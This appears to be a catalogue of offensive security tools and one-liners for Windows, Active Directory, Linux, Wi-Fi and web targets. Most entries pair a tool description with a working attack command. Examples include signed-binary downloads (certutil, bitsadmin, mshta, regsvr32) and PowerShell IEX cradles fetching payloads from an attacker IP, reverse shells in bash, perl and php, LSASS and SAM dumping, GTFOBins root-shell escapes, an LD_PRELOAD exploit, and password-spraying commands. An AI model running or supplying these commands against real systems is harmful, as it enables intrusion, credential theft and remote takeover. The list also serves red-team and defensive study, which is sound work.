Tools

Newer open-source, extensible C2 framework with a Java teamserver/GUI client and BOF support, positioned as a free adversary-simulation platform.

Coerces a target to authenticate back over HTTP, relays the credentials to the AD CS web enrolment endpoint, and returns a usable certificate — an all-in-one PetitPotam-to-ADCS chain.

ADCSPwn.exe --domain corp.local --port 8080

Gathers a broad snapshot of an Active Directory environment (users, computers, GPOs, ACLs, trusts, password policy) into an Excel-formatted report for offline review.

./ADRecon.ps1 -Method LDAP -DomainController 10.10.10.5 -Credential corp\user

The classic WiFi security auditing suite — packet capture, deauthentication and injection, and WEP/WPA-PSK key cracking, in one tightly integrated toolset.

airmon-ng start wlan0\nairodump-ng wlan0mon\naircrack-ng -w rockyou.txt capture.cap

Menu-driven bash wrapper that ties together aircrack-ng, hcxtools, hostapd and other utilities into one guided Wi-Fi auditing workflow (handshake capture, WPS, evil twin, DoS).

sudo bash airgeddon.sh

regsvr32 loads a scriptlet straight from a remote URL, sidestepping AppLocker rules that only block .exe execution.

regsvr32 /s /n /u /i:http://10.10.14.7/payload.sct scrobj.dll

A tool for visual inspection of websites across a large list of hosts, producing an HTML report of screenshots grouped by similarity — an older but still-used alternative to gowitness/EyeWitness.

cat hosts.txt | aquatone

Finds hidden HTTP GET/POST parameters on a web endpoint by bruteforcing against a large parameter-name wordlist — the step before you know what to actually inject into.

arjun -u https://target.tld/api/endpoint

Red Canary's library of small, individually-executable tests mapped one-to-one to ATT&CK techniques — run a single atomic test and check whether the expected alert fired, instead of a full adversary-emulation exercise.

Invoke-AtomicTest T1003.001

A Burp Suite extension that automatically tests every request with a lower-privileged session, surfacing broken access-control (authorisation) bugs without manually replaying each one.

awk's system() function runs an arbitrary command — another common SUID-binary shell-breakout primitive from GTFOBins.

awk 'BEGIN {system("/bin/sh")}'

The BITS job service moves a file over HTTP in the background, a built-in transfer path separate from PowerShell logging.

bitsadmin /transfer job /download /priority high http://10.10.14.7/payload.exe C:\Windows\Temp\payload.exe

Populates a lab Active Directory with thousands of realistic-looking users, groups and misconfigurations, so BloodHound/PingCastle tooling has something non-trivial to chew on.

.\Invoke-BadBlood.ps1

A Swiss-army-knife framework for network attacks and monitoring — MITM, WiFi/BLE reconnaissance and attacks, and a scriptable, extensible core.

sudo bettercap -iface eth0

The Background Intelligent Transfer Service is designed for Windows Update traffic and often has a quieter egress path than a browser or PowerShell's own web client.

bitsadmin /transfer job /download /priority high http://10.10.14.7:8000/file.exe C:\Windows\Temp\file.exe

Maps Active Directory (and Azure AD) trust relationships as a graph, using graph theory to reveal attack paths to Domain Admin that are invisible in a flat user/group listing.

bloodhound-python -u user -p pass -d domain.local -ns 10.10.10.10 -c All

Python re-implementation of the SharpHound collector for Linux-based operators, gathering the same AD graph data without needing a Windows box.

bloodhound-python -u user -p pass -ns 10.10.10.5 -d corp.local -c all

Commercial adversary-simulation C2 built specifically around EDR/AV evasion (badger implants, custom syscall stubs); frequently referenced alongside Cobalt Strike in red team tradecraft discussions.

The standard web application security testing platform — intercepting proxy, repeater, intruder and a huge extension ecosystem (BApp Store). Community edition is free; Pro adds the active scanner.

Generates JS/VBS/HTA payloads that use DotNetToJScript to load a .NET assembly and shellcode directly into memory from a script host.

GhostPack tool for enumerating and abusing misconfigured Active Directory Certificate Services (AD CS) templates to obtain certificates for privilege escalation.

Certify.exe find /vulnerable

Enumerates and abuses Active Directory Certificate Services (AD CS) misconfigurations — the ESC1-ESC8 escalation paths that let a low-privileged user mint a Domain Admin certificate.

certipy find -u [email protected] -p pass -dc-ip 10.10.10.10 -vulnerable

certutil's -decode flag doubles as a base64 decoder, useful when nothing else on the box will do it for you.

certutil -decode encoded.b64 decoded.bin

certutil is signed, present on every Windows box by default, and nobody expects it to make HTTP requests — a classic LOLBAS download primitive.

certutil.exe -urlcache -split -f http://10.10.14.7:8000/file.exe file.exe

Spiders a website and builds a custom wordlist from the words it finds — useful for generating a target-specific password/username dictionary rather than relying on rockyou alone.

cewl https://target.tld -d 2 -m 5 -w wordlist.txt

When both registry values are set to 1, any user can install an MSI that runs as SYSTEM, a one-command privesc check.

reg query HKCU\Software\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKLM\Software\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated

A one-line check for the classic misconfiguration where any user can run an MSI as SYSTEM — if both registry values come back 1, it is exploitable.

reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated

sudo -l lists exactly what the current account can run as another user, often the fastest path to root on a CTF or pentest box.

sudo -l

DefaultUserName and DefaultPassword under Winlogon are stored in cleartext whenever autologon is configured, a one-command find.

reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v DefaultPassword

A cron job invoking a world-writable script, or one located in a writable directory, is one of the most common realistic Linux privesc paths.

cat /etc/crontab /etc/cron.d/* 2>/dev/null
ls -la /etc/cron.daily /etc/cron.hourly /etc/cron.weekly

An NFS export with no_root_squash lets a remote root user write files as root on the export, including a SUID binary to escalate through locally.

cat /etc/exports 2>/dev/null | grep -v '^#' | grep no_root_squash

A quick permission and version check for CVE-2021-4034, a near-universal local root affecting most 2021-and-earlier polkit installs.

ls -l $(which pkexec)
pkexec --version

A misconfigured permission on /etc/shadow hands over every password hash on the box in a single command.

ls -la /etc/shadow
cat /etc/shadow 2>/dev/null

sudo has had several serious version-specific privesc bugs, including CVE-2019-14287 and CVE-2021-3156; the version string is the first thing to check.

sudo -V | head -n1

The kernel and distro version is the fastest first lookup against a local database of known privesc CVEs before trying anything noisier.

uname -a
cat /etc/os-release

A writable directory earlier in $PATH than the real binary lets a planted script hijack any command a privileged user runs by name.

echo $PATH | tr ':' '\n' | xargs -I{} sh -c 'test -w "{}" && echo "writable: {}"'

A unit whose ExecStart binary sits in a directory the current user can write to is a straightforward path to root on the next service restart.

systemctl list-unit-files --type=service --state=enabled | awk '{print $1}' | xargs -I{} sh -c 'systemctl cat {} 2>/dev/null | grep ExecStart'

capsh shows exactly which capabilities the current shell holds, which decides whether a capability-based privesc path is even viable.

capsh --print

A NOPASSWD entry or an overly broad command wildcard in /etc/sudoers is exactly as dangerous on macOS as on any other Unix.

sudo cat /etc/sudoers /etc/sudoers.d/*

An exclusion path readable by a low-privileged user shows exactly where to drop a payload Defender will never scan.

Get-MpPreference | Select-Object ExclusionPath, ExclusionExtension, ExclusionProcess

A fast TCP/UDP tunnel over HTTP, written in Go — the go-to tool for pivoting into a network segment you can otherwise only reach through one compromised host.

# attacker: chisel server -p 8000 --reverse\n# target:  ./chisel client 10.10.14.7:8000 R:socks

Automates testing a Windows host for every known authentication-coercion method (PetitPotam and its many siblings) in one run, rather than trying each RPC method by hand.

coercer coerce -u user -p pass -d domain.local -t 10.10.10.10 -l 10.10.14.7

Automates detection and exploitation of OS command-injection vulnerabilities in web parameters, the command-injection equivalent of sqlmap.

commix --url="https://target.tld/ping?host=127.0.0.1"

.NET C2 framework with a web-based teamserver, used to showcase and test .NET tradecraft and AMSI/ETW evasion techniques against Windows targets.

The original Active Directory assessment swiss-army-knife that NetExec forked from — still widely referenced in write-ups and older tooling even though NetExec is the maintained successor.

crackmapexec smb 10.10.10.0/24 -u user -p pass

Rotates password-spray traffic through cloud provider IPs (via FireProx-style API Gateway proxying) so login attempts against Okta/O365/OWA are not all seen from one source IP.

python3 credmaster.py -m O365 -u users.txt -p Summer2026! -s okta

A quick privesc check: scheduled jobs run as another (often more privileged) user are a common escalation path if their script or binary is writable by you.

for u in $(cut -f1 -d: /etc/passwd); do echo "== $u =="; sudo -u "$u" crontab -l 2>/dev/null; done

Secura's reference exploit for Zerologon — resets a Domain Controller's machine account password to empty via the Netlogon protocol, effectively taking over the domain.

python3 zerologon_tester.py DC01 10.10.10.5

Go-based, open-source C2 framework with a web UI, aimed at giving smaller red teams a free alternative to commercial platforms.

Generates HTA payloads that decrypt in-browser, defeating static-file AV scanning that never executes the page's own script.

python demiguise.py -f meter.hta -o out.hta -e something.js

A configurable DNS proxy for penetration testers — redirects specific domains to attacker-controlled infrastructure, the DNS half of a phishing or MITM lab setup.

dnschef --fakeip 10.10.14.7 --fakedomains target.tld

No extra tooling required: net.exe against a domain controller lists users and privileged groups using only built-in binaries.

net user /domain
net group "Domain Admins" /domain

Pulls the live user list and password policy straight from Active Directory before spraying, so lockout thresholds are respected automatically.

Invoke-DomainPasswordSpray -Password Summer2026! -OutFile sprayed.txt

Remotely dumps and decrypts Windows DPAPI-protected secrets (saved browser/RDP/Wi-Fi credentials, Credential Manager blobs) across a fleet of hosts.

donpapi collect -d corp.local -u user -p pass -t 10.10.10.0/24

Converts a .NET assembly, PE, VBS or PowerShell script into position-independent shellcode that can be injected into any Windows process, a common last-mile step in loader chains.

donut -i implant.exe -o loader.bin

Uses the built-in, code-signed certutil.exe to fetch a remote file without touching PowerShell, a classic LOLBAS download technique.

certutil.exe -urlcache -split -f http://10.10.14.7/payload.exe payload.exe

Android security assessment framework built around an in-app agent — enumerate and interact with exported activities, content providers, services and broadcast receivers from a console.

drozer console connect

The MiniDump export inside the built-in comsvcs.dll can be invoked through rundll32 to dump a process, including LSASS, without a separate tool.

rundll32.exe C:\Windows\System32\comsvcs.dll, MiniDump (Get-Process lsass).Id C:\Windows\Temp\lsass.dmp full

reg save copies live registry hives to disk so they can be pulled offline and fed to a secrets-dumping tool, no third-party dumper required to obtain them.

reg save HKLM\SAM C:\Windows\Temp\sam.save
reg save HKLM\SYSTEM C:\Windows\Temp\system.save

security is the built-in macOS CLI for keychain access — useful for authorised credential-recovery/incident-response work; it still prompts for the keychain password per item unless already unlocked.

security dump-keychain -d ~/Library/Keychains/login.keychain-db

Targeted rogue-AP toolkit for attacking WPA2-Enterprise networks — evil twin EAP portals to harvest credentials or relay them, plus PMKID/handshake capture for the WPA2-PSK case.

./eaphammer -i wlan0 --channel 6 --auth wpa-eap --essid CorpWiFi --creds

Post-exploitation and C2 framework (PowerShell/Python/C# agents) maintained by BC Security after the original PowerShell Empire project was discontinued; ships with a large stager and module library.

./ps-empire server

Base64-wrapping a command and decoding it inline is a quick way past a filter that blocks certain characters in a command-injection point.

echo 'aWQ7d2hvYW1p' | base64 -d | bash

The SecurityCenter2 namespace lists every registered antivirus product, which shapes what evasion, if any, is even relevant.

Get-WmiObject -Namespace root\SecurityCenter2 -Class AntiVirusProduct | Select-Object displayName, productState

A binary with cap_setuid or cap_sys_admin set as a file capability can escalate privileges exactly like a SUID bit, without the bit itself being set.

getcap -r / 2>/dev/null

A service running as LocalSystem with a weak ACL or a hijackable binary path is the bread and butter of Windows local privesc.

Get-WmiObject win32_service | Select-Object Name, StartName, PathName, State | Sort-Object StartName

A service path with a space and no quotes lets Windows try each intermediate directory in turn; dropping a binary in the right one hijacks the service.

wmic service get name,pathname,startmode | findstr /i auto | findstr /i /v "C:\Windows\" | findstr /i /v """"

A long-standing comprehensive suite for man-in-the-middle attacks on a LAN — live connection sniffing, ARP poisoning and content filtering, with both a CLI and a GUI.

ettercap -T -M arp:remote /10.10.10.1// /10.10.10.10//

The standard WinRM shell for penetration testing — a full interactive PowerShell-like session over WinRM, with upload/download and Kerberos/pass-the-hash support built in.

evil-winrm -i 10.10.10.10 -u Administrator -H <ntlm-hash>

Crafts malicious MS Office documents — hides VBA macros, tricks analysis tools that assume Windows-only olevba parsing, and stomps VBA p-code to hide source from AV.

EvilClippy.exe -s fake_macro.vba template.xls

A dependency-free lateral movement primitive once credentials for the target are already known, no PsExec binary required.

wmic /node:"10.10.10.5" /user:"DOMAIN\admin" process call create "cmd.exe /c whoami > C:\Windows\Temp\out.txt"

forfiles.exe passes an arbitrary command to /c, a built-in binary that quietly runs code and is easy to overlook in a LOLBAS sweep.

forfiles /p C:\Windows\System32 /m notepad.exe /c "cmd /c calc.exe"

MSBuild.exe ships with the .NET framework and will run inline tasks embedded in a project file, bypassing simple AppLocker rules.

MSBuild.exe payload.csproj

InstallUtil.exe runs the Uninstall-decorated method of a .NET assembly, a signed-binary execution path that predates most AppLocker rulesets.

InstallUtil.exe /logfile= /LogToConsole=false /U payload.exe

The COM-registration utility runs a marked class constructor from a signed .NET assembly, another AppLocker-friendly LOLBAS binary.

Regasm.exe /U payload.dll

rundll32.exe can invoke a remote scriptlet through the mshtml/advpack chain, another built-in binary that executes attacker script.

rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write();GetObject("script:http://10.10.14.7/payload.sct")

Takes screenshots of a large list of web services and organises them into a browsable report — the fastest way to triage which of a thousand open ports is actually worth looking at by hand.

eyewitness --web -f urls.txt -d report/

A fast, recursive content-discovery tool written in Rust — automatically dives into discovered directories without needing to be re-run manually, unlike gobuster/dirb.

feroxbuster -u https://target.tld -w wordlist.txt -x php,html,txt

A GTFOBins classic: find's -exec flag runs an arbitrary command, so a SUID find binary hands you a root shell outright.

find . -exec /bin/sh -p \; -quit

A python or perl interpreter carrying cap_setuid, whether via file capability or SUID, is functionally a root shell one command away.

getcap -r / 2>/dev/null | grep -Ei 'python|perl|ruby'

A one-liner CTF/OSCP staple: lists every SUID-bit binary on the filesystem, which you then cross-reference against GTFOBins for a breakout primitive.

find / -perm -4000 -type f 2>/dev/null

A container started with --privileged shares the full capability set of the host kernel, so code execution inside it is effectively code execution on the host.

docker ps --format '{{.ID}} {{.Names}}' | xargs -I{} docker inspect {} --format '{{.Name}}: Privileged={{.HostConfig.Privileged}}'

A world-readable id_rsa under any home directory is often worth more than any local exploit chain on the box.

find / -xdev \( -name 'id_rsa*' -o -name '*.pem' \) 2>/dev/null | xargs -r ls -la

Same idea as SUID but for group-inherited execution, checked less often and just as exploitable when misconfigured.

find / -perm -2000 -type f 2>/dev/null

The single most common first step in Linux privesc enumeration; any SUID binary outside a known-safe list is worth checking against GTFOBins.

find / -perm -4000 -type f 2>/dev/null

A world-writable file owned by root, or referenced by a privileged process, is a common and easy escalation vector.

find / -xdev -type f -perm -0002 2>/dev/null

A file that root owns but anyone can write to is often the difference between a foothold and full compromise — this finds every one on the box.

find / -writable -user root -type f 2>/dev/null | grep -v "^/proc"

Built-in findstr recurses a directory tree grepping for a string — handy for hunting "password" in config files without installing anything.

findstr /si password *.txt *.config *.ini *.xml

GhostPack tool that forges "golden certificates" from a compromised AD CS CA private key, minting arbitrary user certificates even after the CA cert is rotated.

A C# host-survey tool that checks a huge list of security-relevant settings and artefacts in one pass — AV/EDR presence, patch level, AppLocker, credential-storage locations and more.

.\Seatbelt.exe -group=all

An open-source phishing-simulation platform for authorised security-awareness testing — campaigns, templates, landing pages and click/report tracking in one dashboard.

A Go-based web screenshot utility built for the same triage job as EyeWitness, using a headless Chrome for the capture and shipping as a single static binary.

gowitness scan file -f urls.txt

A Burp Suite extension (InQL) and standalone tooling for exploring and attacking GraphQL APIs — schema introspection, query generation and batching-attack helpers.

The findstr equivalent of grep -r, useful on a box where the PowerShell execution policy blocks anything more elaborate.

findstr /si password *.txt *.ini *.config *.xml

A broad but fast sweep of common config locations for embedded passwords, usually the highest-value five minutes on a freshly landed box.

grep -rliE 'password\s*=' /etc /var/www /opt 2>/dev/null

Finds exploitable settings inside Active Directory Group Policy Objects — the GPO-focused counterpart to BloodHound's ACL/trust focus.

Grouper2.exe -f findings.html

Companion project to GTFOBins cataloguing argument-injection tricks — binaries that can be abused not through their own function but by smuggling attacker-controlled flags into their invocation.

Curated database of Unix binaries that can be abused to bypass local security restrictions (privesc, shell escape, file read/write) once you already have limited execution.

Membership in the docker group is root-equivalent: mounting the host filesystem into a throwaway container gives full read and write access to it.

docker run -v /:/mnt --rm -it alpine chroot /mnt sh

find -exec spawns an arbitrary command, so a SUID or sudo-permitted find is a direct root shell.

find . -exec /bin/sh -p \; -quit

vim runs a shell command with :! at its own privilege level, making a SUID or sudo-permitted vim a straightforward escalation.

vim -c ':!/bin/sh' /dev/null

awk system() executes an arbitrary shell command, enough on its own if awk is SUID or sudo-permitted.

awk 'BEGIN {system("/bin/sh")}'

less shells out through the same pager escape as vim and more, and ends up sudo-permitted surprisingly often for "read-only" log viewing.

less /etc/profile
# inside the pager:
!/bin/sh

perl exec() is another classic shell escape, common because perl ships on nearly every Unix-like system by default.

perl -e 'exec "/bin/sh";'

A one-liner that drops into an interactive shell via os.system, the same technique behind most python-based privesc chains.

python3 -c 'import os; os.system("/bin/sh")'

When sudoers keeps LD_PRELOAD in env_keep, a custom shared object constructor runs as root the moment any sudo-permitted command executes.

echo 'void _init(){setresuid(0,0,0);system("/bin/sh -p");}' > x.c
gcc -fPIC -shared -o x.so x.c -nostartfiles
sudo LD_PRELOAD=./x.so <any allowed command>

systemctl status pipes long output through less by default, so a sudo-permitted systemctl inherits the same shell escape as less.

sudo systemctl status trap
# inside the pager:
!/bin/sh

A little-known tar feature runs an arbitrary checkpoint action, which becomes a root shell when tar is SUID or sudo-permitted.

tar cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/sh

A community-maintained methodology wiki covering pentesting techniques across web, cloud, AD, mobile and binary exploitation — organised as a checklist you actually work through during an engagement.

A modern, modular command-and-control framework built for red-team operators, with a Qt-based teamserver client and a plugin system for custom modules.

Captures WPA/WPA2 handshakes and PMKIDs straight off the air (including from clientless APs) without needing a connected station to deauth.

sudo hcxdumptool -i wlan0mon -o capture.pcapng --enable_status=1

Curated database of known DLL hijacking opportunities in legitimate Windows and third-party software, indexed by binary, missing DLL and export requirements.

An interactive, scriptable HTTPS proxy for inspecting and modifying traffic on the fly — the open-source alternative to Burp when you need Python scripting against the traffic stream itself.

mitmproxy --mode transparent

ProjectDiscovery's fast, multi-purpose HTTP probing tool — takes a list of hosts and reports which are alive, their titles, status codes, tech stack and more, in one pass.

cat subdomains.txt | httpx -title -tech-detect -status-code

A parallelised network login cracker supporting dozens of protocols (SSH, FTP, HTTP forms, RDP, SMB…) — the go-to tool the moment you have a login form and a wordlist.

hydra -l admin -P passwords.txt ssh://10.10.10.10

A collection of Python classes for working with network protocols, and the toolset (secretsdump, psexec, GetUserSPNs, smbexec…) built on them — the backbone of most Windows/AD assessment tooling.

impacket-secretsdump DOMAIN/user:[email protected]

msiexec fetches and silently installs an MSI straight from a UNC or HTTP path, the installer equivalent of the mshta trick.

msiexec /quiet /i http://10.10.14.7/payload.msi

InstallUtil.exe, a signed .NET Framework binary, will run a custom installer class's methods — a documented LOLBAS execution path.

InstallUtil.exe /logfile= /LogToConsole=false /U file.exe

PowerShell/C# LLMNR, NBNS and mDNS spoofer for Windows-based operators — the Windows-side equivalent of Responder, with an interactive console.

Import-Module .\Inveigh.ps1; Invoke-Inveigh -NBNS Y -LLMNR Y

Interactive PowerShell obfuscation framework — token, string, encoding and launcher obfuscation layers stacked together to evade signature detection.

Invoke-Obfuscation

A toolkit for testing, tampering with and cracking JSON Web Tokens — algorithm-confusion attacks, signature stripping, and a scan mode against a list of known JWT misconfigurations.

python3 jwt_tool.py <token> -T

The Debian-based Linux distribution built specifically for penetration testing, security research and forensics — hundreds of tools preinstalled and maintained by Offensive Security.

Official Kali Linux mobile penetration testing platform — runs a Kali chroot/rootfs alongside Android, with wireless injection support and NetHunter-specific apps on compatible devices.

A fast web crawler from ProjectDiscovery built for security testing — headless-browser-aware, JavaScript-parsing crawl that feeds URLs straight into fuzzing or nuclei.

katana -u https://target.tld -jc -d 3

Quickly bruteforces and enumerates valid Active Directory usernames via Kerberos pre-authentication — much quieter than an LDAP bind sweep since failed guesses barely touch the event log.

kerbrute userenum -d domain.local --dc 10.10.10.10 users.txt

JScript/VBScript-based C2 ("COM Command & Control") that lives almost entirely off Windows Script Host, useful for living-off-the-land style tradecraft demos.

python2 koadic.py

Hak5's covert USB-Ethernet pass-through implant — sits inline on a wired network for remote access, recon and MITM modules while looking like a USB adapter.

Enumerates which computer accounts have LAPS-managed local admin passwords readable by the current user and dumps them over LDAP.

python3 laps.py -u user -p pass -d corp.local

Dumps an Active Directory domain over LDAP into browsable HTML/JSON/CSV reports of users, groups, computers, policies and trusts.

ldapdomaindump -u corp.local\\user -p pass 10.10.10.5

Lists a binary's dynamic library dependencies and where it resolves them from — if one resolves to a directory you can write to, that's a privesc primitive.

ldd ./suspicious-binary

A tunneling/pivoting tool that sets up a real network interface (TUN) on the attacker box, so pivoted traffic looks and behaves like normal routing rather than a SOCKS proxy.

# proxy: ./proxy -selfcert\n# agent: ./agent -connect 10.10.14.7:11601 -ignore-cert

The first command in almost any Windows privesc checklist: a flag like SeImpersonatePrivilege or SeBackupPrivilege points straight at a known escalation path.

whoami /priv

A task run by SYSTEM that points at a user-writable script or binary is a common, realistic local privesc; this dumps every task run-as and command.

schtasks /query /fo LIST /v | findstr /i "TaskName Run As User Task To Run"

Finds services whose executable path contains a space and no quotes — a classic Windows privilege-escalation vector if you can drop a file into one of the ambiguous path segments.

Get-WmiObject win32_service | Where {$_.PathName -notlike 'C:\Windows*' -and $_.PathName -notlike '"*'} | Select Name,PathName

A shadow copy can still hold an old SAM, SYSTEM or NTDS.dit, letting credentials be extracted without touching the live locked file.

vssadmin list shadows

The Windows counterpart to GTFOBins — signed, native Windows binaries and scripts that can be repurposed to download, execute or exfiltrate without dropping extra tooling on disk.

Reference database of Windows binaries, scripts and libraries that can be repurposed for living-off-the-land attack techniques — the site itself, not any single one-liner in it.

macOS equivalent of GTFOBins/LOLBAS — documents native macOS binaries that can be abused for living-off-the-land offensive techniques.

Automates generating obfuscated Office macros, VBS, HTA and other MS Office payloads for phishing-based initial access simulations.

macro_pack.exe -t GENERATE -G payload.doc -o -f script.vba

Searches Exchange/Office 365 mailboxes for sensitive strings (passwords, "VPN", etc) and can password-spray OWA/EWS — post-compromise mailbox pillaging in one PowerShell module.

Invoke-SelfSearch -Mailbox [email protected] -Terms "password"

Rust/Go C2 framework with a web management panel, generating implants for Windows and Linux; documented as active in real intrusions as well as red team use.

Cross-platform Go-based C2 that leans on HTTP/2, HTTP/3 and QUIC transports to blend into modern web traffic.

go run cmd/merlinserver/main.go -i

The world's most widely used penetration-testing framework — thousands of exploit and auxiliary modules, a scriptable console, and Meterpreter as its post-exploitation payload.

msfconsole -q -x "use exploit/multi/handler; run"

Abuses IPv6's default-on status on most Windows networks: answers DHCPv6 requests nobody expected to get answered, then relays the resulting traffic — a very reliable AD compromise path where IPv6 is unmanaged.

sudo mitm6 -d domain.local

The ATT&CK knowledge base itself — tactics, techniques and real intrusion examples per adversary group — distinct from the interactive Navigator tool built on top of it.

Interactive matrix tool for exploring, annotating and layering the ATT&CK framework — used to map detections/coverage or plan a red-team engagement against real adversary techniques.

MITRE's automated adversary emulation platform — runs chained ATT&CK techniques against a target environment on a schedule, so a blue team can verify their detections actually fire rather than assuming they would.

MSBuild will compile and execute inline tasks embedded in a .csproj file — a signed .NET build tool doubling as a code-execution engine.

MSBuild.exe project.csproj

mshta.exe runs HTML Applications, including script pulled from a URL — a signed Microsoft binary that happily executes remote script.

mshta.exe http://10.10.14.7:8000/file.hta

Password sprays Microsoft Online (Azure AD/O365) accounts and, from the login response, distinguishes valid credentials from lockouts, MFA prompts and disabled accounts.

python3 msolspray.py --userlist users.txt --password Summer2026!

A collaborative, plugin-based command-and-control framework — rather than shipping one implant, Mythic hosts multiple community-built agents (Apollo, Poseidon, Medusa…) behind one operator UI.

A fast SYN/CONNECT port scanner from ProjectDiscovery, built to slot into a recon pipeline (subfinder -> naabu -> httpx -> nuclei) rather than run standalone.

naabu -host target.tld -top-ports 1000

Modular iOS security testing framework (the closest thing iOS has to Drozer) — storage, binary analysis, network and runtime manipulation modules for a jailbroken test device.

python3 needle.py

Actively-maintained fork/successor of CrackMapExec — swiss-army-knife for AD network protocols: authentication spraying, command execution, hash dumping and share enumeration over SMB/WinRM/LDAP/MSSQL/RDP/SSH.

nxc smb 10.10.10.0/24 -u users.txt -p pass --shares

The successor to CrackMapExec — a swiss-army-knife for testing large Active Directory networks: credential spraying, command execution, share enumeration, all across a whole subnet at once.

nxc smb 10.10.10.0/24 -u user -p pass --shares

Long-running collection of offensive PowerShell scripts covering reverse/bind shells, keylogging, privesc checks and post-exploitation, widely used to seed C2 payload development.

Invoke-PowerShellTcp -Reverse -IPAddress 10.10.14.7 -Port 4444

Network Mapper — port scanning, service/version detection and scriptable auditing (NSE) for discovery and security assessment.

nmap -sC -sV -T4 -oA initial <ip or host>

Chains the sAMAccountName spoofing (CVE-2021-42278) and CVE-2021-42287 KDC bugs into a one-shot domain-admin-from-domain-user exploit against unpatched Active Directory.

python3 noPac.py corp.local/user:pass -dc-ip 10.10.10.5 -shell

ProjectDiscovery's fast, template-driven vulnerability scanner — thousands of community-maintained YAML templates cover CVEs, misconfigurations and exposed panels across a target list in one pass.

nuclei -u https://target.tld -t cves/ -severity critical,high

A USB charge/data cable with a hidden implant for keystroke injection and Wi-Fi-controlled payload delivery, built to look and function like an ordinary cable.

osascript is the built-in bridge from a shell into AppleScript — the fastest way to script a GUI interaction (or a user-facing prompt) without writing a .scpt file.

osascript -e 'display dialog "test"'

Automated reconnaissance framework that chains subdomain enumeration, port scanning, screenshotting and vulnerability scanning into one workflow for large-scope bug-bounty recon.

osmedeus scan -t example.com

Open-source AWS exploitation framework for offensive security testing of AWS environments — enumeration, privilege escalation and persistence modules against a real or lab AWS account.

pacu

PortSwigger's Burp Suite extension for finding hidden, unlinked parameters and headers — including the ones that unlock web-cache-poisoning bugs.

The standard privilege-escalation enumeration scripts for CTF and OSCP-style practice — linPEAS for Linux, winPEAS for Windows — colour-coded output that flags the most promising misconfigurations first.

curl -sL https://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas.sh | sh

The canonical one-page reference of reverse shell one-liners in every language likely to be sitting on a compromised box — old, still correct, still bookmarked by everyone.

A proof-of-concept for coercing a Windows host into authenticating to an attacker-controlled machine via the MS-EFSRPC API — often chained with AD CS relay attacks for domain compromise.

python3 PetitPotam.py 10.10.14.7 10.10.10.10

Scores an Active Directory forest against common misconfiguration and attack-path categories, producing a risk report used by both auditors and red teamers scoping an AD engagement.

PingCastle.exe --healthcheck

Python tools for requesting Kerberos TGTs via PKINIT with a certificate (including forged ones) and converting the resulting credential into a usable NT hash or ticket.

python3 gettgtpkinit.py -cert-pfx cert.pfx corp.local/user out.ccache

netsh interface portproxy quietly relays a local port to a remote host, a lightweight pivot technique worth using and hunting for alike.

netsh interface portproxy add v4tov4 listenport=8080 listenaddress=0.0.0.0 connectport=445 connectaddress=10.10.10.5

Proxy-aware C2 framework built around PowerShell and C# implants, with built-in modules for AD enumeration and lateral movement.

poshc2 -q default

The classic PowerShell download cradle: pulls a script into memory and runs it without touching disk, so a file-based AV signature never gets a chance to fire.

powershell -nop -w hidden -c "IEX (New-Object Net.WebClient).DownloadString('http://10.10.14.7:8000/script.ps1')"

Comsvcs.dll's MiniDump export, invoked through rundll32, dumps a process's memory using a Windows-signed DLL — a documented credential-access technique worth knowing defensively too.

rundll32.exe C:\windows\System32\comsvcs.dll, MiniDump <pid> C:\Windows\Temp\dump.dmp full

netsh (built into every Windows install) will export every remembered WiFi profile with its cleartext key in one loop — a fast post-compromise wireless-credential grab.

netsh wlan show profiles | ForEach-Object { if ($_ -match "All User Profile\s*:\s(.+)") { netsh wlan show profile name="$($matches[1])" key=clear } }

A newer download cradle using Invoke-WebRequest, worth knowing since not every host still has the legacy WebClient path available.

powershell -c "IEX (Invoke-WebRequest -UseBasicParsing http://10.10.14.7/script.ps1).Content"

The classic fileless download-and-execute one-liner: fetches a script into memory and runs it without writing to disk.

powershell -nop -w hidden -c "IEX (New-Object Net.WebClient).DownloadString('http://10.10.14.7/script.ps1')"

A post-exploitation and C2 framework built around PowerShell (and Python) agents — one of the tools that popularised "living off the land" tradecraft in red-team engagements.

PowerShell toolkit for discovering and attacking Microsoft SQL Server — instance enumeration, weak login brute-forcing, and abusing linked servers for lateral movement.

Get-SQLInstanceDomain | Get-SQLServerLinkCrawl

A PowerShell library for Active Directory situational awareness — domain trusts, group memberships, ACLs and GPOs — that predates BloodHound and still turns up in a lot of AD tradecraft.

Get-DomainUser -SPN | Select SamAccountName,ServicePrincipalName

PowerShell (PowerView, from PowerSploit) and C# (SharpView) tooling for interactively enumerating AD users, groups, ACLs and trusts from a compromised session.

Get-DomainUser -SPN | Select SamAccountName,ServicePrincipalName

Cross-platform (Windows/Linux/macOS/Android) open-source RAT and post-exploitation tool with a Python-based, reflectively-injected agent.

Post-exploitation platform that upgrades a raw reverse/bind shell into a persistent, scriptable session with file transfer, privesc enumeration and a local C2-style console.

pwncat-cs -lp 4444

os.system() from a SUID or sudo-permitted python binary spawns a shell that keeps the elevated privilege — the same idea as the find/awk/vim primitives.

python3 -c 'import os; os.system("/bin/sh")'

The short-form reverse shells worth memorising when you only have one shot at a command injection — pick whichever interpreter is actually on the target.

bash -i >& /dev/tcp/10.10.14.7/4444 0>&1
perl -e 'use Socket;$i="10.10.14.7";$p=4444;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
php -r '$sock=fsockopen("10.10.14.7",4444);exec("/bin/sh -i <&3 >&3 2>&3");'

A process environment, including a credential passed via env rather than argv, is readable through procfs by the owning user or root.

for p in /proc/[0-9]*; do echo "== $p =="; strings $p/environ 2>/dev/null | grep -iE 'pass|key|token'; done

Automated recon shell script that wraps subfinder, httpx, nuclei and many other tools into one pipeline for full domain reconnaissance ahead of a pentest or bug-bounty hunt.

./reconftw.sh -d example.com -r

A documented technique where regsvr32 registers a remotely hosted COM scriptlet over HTTP — one of the best-known LOLBAS entries.

regsvr32.exe /s /n /u /i:http://10.10.14.7:8000/file.sct scrobj.dll

